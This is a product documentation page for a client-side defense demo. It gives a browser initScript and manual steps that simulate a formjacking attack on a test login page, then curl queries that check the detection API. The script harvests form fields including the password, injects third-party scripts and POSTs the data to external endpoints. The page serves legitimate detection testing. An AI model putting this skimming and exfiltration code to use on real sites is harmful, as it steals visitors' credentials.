- Home
- Client-Side Defense
- demo
- Phase 2 — Attack
Phase 2 — Attack
Phase 2 generates simulated attack traffic against the protected application and confirms CSD detected it. Phase 1 must be complete — all Step 7 checks PASS — before proceeding.
Step 8: Attack Simulation
Section titled “Step 8: Attack Simulation”After the infrastructure is verified (all Phase 1 Step 7 checks PASS), run the attack simulation scripts to generate CSD detections. The scripts are defined in the Trigger Detection guide and the Attack Script Library.
AI-Automated Execution
Section titled “AI-Automated Execution”AI assistants with browser automation tools run the attack simulation programmatically:
- Navigate with initScript — first navigate to
about:blankto ensure a clean document context (avoids stale initScripts from prior navigations), thennavigate_pagetohttp://$F5XC_DOMAINNAME/#/loginwith aninitScriptthat saves nativesetInterval,clearInterval,fetch, andconsole.logbefore zone.js patches them, polls for the login form fields, fills credentials via the nativeHTMLInputElement.prototype.valuesetter, and immediately executes the Combined Detection Script inline. Use the verbatim initScript below. - Dismiss Welcome Banner —
press_keywithEscapeto close the Welcome Banner. On subsequent visits the banner may not appear (cookies persisted). The cookie consent dialog is dismissed automatically by the Escape key - Wait for completion — wait 10 seconds for all CDN script load/error callbacks and fetch promise resolutions to complete
- Capture evidence —
list_console_messagesto check for[CSD Demo] Simulation completeand CDN load results;list_network_requestsfiltered toscriptandfetchtypes to verify HTTP status codes (200/201for success,pendingfor held requests)
Phase 2 initScript (verbatim — use exactly as written):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Manual Execution
Section titled “Manual Execution”Operators without browser automation tools perform the steps manually:
- Navigate to the protected application login page:
http://xF5XC_DOMAINNAMEx/#/login - Enter dummy credentials — type
test@example.comin the Email field andP@ssword123in the Password field (do not submit the form) - Open DevTools — press F12 and switch to the Console tab
- Run the Combined Detection Script — paste the script from Trigger Detection — Run the Combined Simulation Script into the console and press Enter
- Verify console output — confirm the
[CSD Demo]phased output shows: field harvesting, script injection from 4 CDN domains, and data exfiltration to 2 endpoints
What Gets Triggered
Section titled “What Gets Triggered”| Signal | Behavior | Detection |
|---|---|---|
| Form field harvesting | Reads email and password input values | Scripts reading sensitive form fields — flagged High Risk |
| Script injection | Injects 4 <script> tags from cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io | Up to 4 new third-party script domains detected (CDN availability varies) |
| Data exfiltration | Sends harvested data via fetch to www.httpbin.org and jsonplaceholder.typicode.com | Network calls to external domains |
Evidence
Section titled “Evidence”The AI assistant should report the following. For AI-automated execution, evidence is captured programmatically via list_console_messages (the initScript’s polling function logs results to the console). For manual execution, the operator reads the browser console output.
| Check | Expected | Status |
|---|---|---|
| Login page loaded | 200 OK at http://$F5XC_DOMAINNAME/#/login | PASS / FAIL |
| Console script executed | [CSD Demo] Simulation complete in console output | PASS / FAIL |
| Fields harvested | Count > 0 in console output | PASS |
| Scripts injected | 1–4 CDN domains in console output (some may fail with resource errors) | PASS if any CDN domain appears |
| Exfil channels | 2 fetch POST attempts in console output | PASS |
Step 9: Detection Verification via API
Section titled “Step 9: Detection Verification via API”Query the CSD API endpoints to confirm detections appeared. Use the polling loop: query /detected_domains every 60 seconds; proceed as soon as DET-3 passes. If DET-3 does not pass after 10 minutes, check CSD configuration. If DET-3 does not pass after 30 minutes, stop and report to operator. These endpoints are documented in the API Reference and use the same authentication and namespace as previous steps.
Detected Scripts
Section titled “Detected Scripts”Query for scripts detected in the last 24 hours:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| Field | Expected | Status |
|---|---|---|
total | > 0 (scripts detected) | PASS if > 0; PENDING if 0 but /detected_domains shows exfil domains |
| Script names | Includes CDN domains (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) in script_name | PASS if injected CDN domains appear |
Detected Domains
Section titled “Detected Domains”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| Field | Expected | Status |
|---|---|---|
total_domains | > 0 | PASS if > 0 |
| Domain list | Includes CDN and exfil domains | PASS if expected domains appear |
Form Fields
Section titled “Form Fields”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| Field | Expected | Status |
|---|---|---|
total | > 0 | PASS if > 0; PENDING if 0 but DET-3 passes |
name | Includes email, password | PASS if sensitive fields appear |
sensitivity | Sensitive for email/password fields | PASS if ML classified correctly |
Phase 2 Evidence Summary
Section titled “Phase 2 Evidence Summary”After all detection queries, present the final detection status:
| Test ID | Check | Status |
|---|---|---|
| DET-1 | Scripts detected (/scripts endpoint) | PASS if > 0; PENDING if empty but DET-3 passes |
| DET-2 | CDN domains detected | PASS / FAIL |
| DET-3 | Exfil domains detected (/detected_domains) | Primary indicator — PASS if www.httpbin.org or jsonplaceholder.typicode.com appear |
| DET-4 | Form fields detected (/formFields endpoint) | PASS if > 0; PENDING if empty but DET-3 passes |
Phase 2 complete. Proceed to Phase 3 — Mitigate to apply mitigation rules and verify domains are blocked.